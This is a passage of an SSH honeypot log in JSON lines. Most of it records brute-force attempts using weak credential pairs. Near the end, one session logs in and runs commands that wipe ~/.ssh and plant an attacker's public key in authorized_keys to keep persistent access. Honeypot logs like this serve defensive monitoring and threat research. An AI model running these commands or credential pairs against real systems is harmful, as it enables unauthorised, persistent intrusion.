mac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:10.234789Z","src_ip":"51.250.105.222","session":"7e1d5445fc5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d12345","message":"login attempt [root/d12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:10.613868Z","src_ip":"51.250.105.222","session":"7e1d5445fc5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":58320,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0ade79a9c5","protocol":"ssh","message":"New connection: 15.204.225.76:58320 (10.17.0.5:22) [session: de0ade79a9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:11.448616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:11.455963Z","src_ip":"15.204.225.76","session":"de0ade79a9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:11.471835Z","src_ip":"15.204.225.76","session":"de0ade79a9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul123","message":"login attempt [rahul/rahul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:11.553200Z","src_ip":"15.204.225.76","session":"de0ade79a9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:11.741840Z","src_ip":"51.250.105.222","session":"7e1d5445fc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:12.567292Z","src_ip":"15.204.225.76","session":"de0ade79a9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50818,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f40cb3023f","protocol":"ssh","message":"New connection: 80.94.92.186:50818 (159.203.135.109:22) [session: b2f40cb3023f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:20.019506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:20.152853Z","src_ip":"80.94.92.186","session":"b2f40cb3023f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:20.156261Z","src_ip":"80.94.92.186","session":"b2f40cb3023f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:21.718570Z","src_ip":"80.94.92.186","session":"b2f40cb3023f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":4622,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81c54511fe7","protocol":"ssh","message":"New connection: 182.253.79.194:4622 (10.17.0.5:22) [session: e81c54511fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:22.983482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:23.053450Z","src_ip":"182.253.79.194","session":"e81c54511fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:23.293123Z","src_ip":"80.94.92.186","session":"b2f40cb3023f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:23.310215Z","src_ip":"182.253.79.194","session":"e81c54511fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"1","message":"login attempt [zimbra/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:24.322391Z","src_ip":"182.253.79.194","session":"e81c54511fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:25.583930Z","src_ip":"182.253.79.194","session":"e81c54511fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":52624,"dst_ip":"159.203.135.109","dst_port":22,"session":"88ebdb3c43f3","protocol":"ssh","message":"New connection: 43.173.90.78:52624 (159.203.135.109:22) [session: 88ebdb3c43f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:25.893317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:25.898870Z","src_ip":"43.173.90.78","session":"88ebdb3c43f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:25.972418Z","src_ip":"43.173.90.78","session":"88ebdb3c43f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:26.274239Z","src_ip":"43.173.90.78","session":"88ebdb3c43f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:27.345238Z","src_ip":"43.173.90.78","session":"88ebdb3c43f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":59414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b28fee47fdef","protocol":"ssh","message":"New connection: 150.109.20.59:59414 (10.17.0.5:22) [session: b28fee47fdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:27.887904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:27.892349Z","src_ip":"150.109.20.59","session":"b28fee47fdef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:28.137448Z","src_ip":"150.109.20.59","session":"b28fee47fdef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"1","message":"login attempt [zimbra/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:29.150133Z","src_ip":"150.109.20.59","session":"b28fee47fdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:30.398348Z","src_ip":"150.109.20.59","session":"b28fee47fdef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41702,"dst_ip":"159.203.135.109","dst_port":22,"session":"e173c49a9bba","protocol":"ssh","message":"New connection: 193.32.162.151:41702 (159.203.135.109:22) [session: e173c49a9bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:38.635213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:38.640504Z","src_ip":"193.32.162.151","session":"e173c49a9bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:38.753066Z","src_ip":"193.32.162.151","session":"e173c49a9bba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:39.095047Z","src_ip":"193.32.162.151","session":"e173c49a9bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:40.219945Z","src_ip":"193.32.162.151","session":"e173c49a9bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":33738,"dst_ip":"10.17.0.5","dst_port":22,"session":"393b2aa2182e","protocol":"ssh","message":"New connection: 15.204.225.76:33738 (10.17.0.5:22) [session: 393b2aa2182e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.827748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.837117Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.848319Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"maets","message":"login attempt [steam/maets] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.924192Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.990799Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.994282Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:47.997882Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.013189Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.072345Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.075010Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
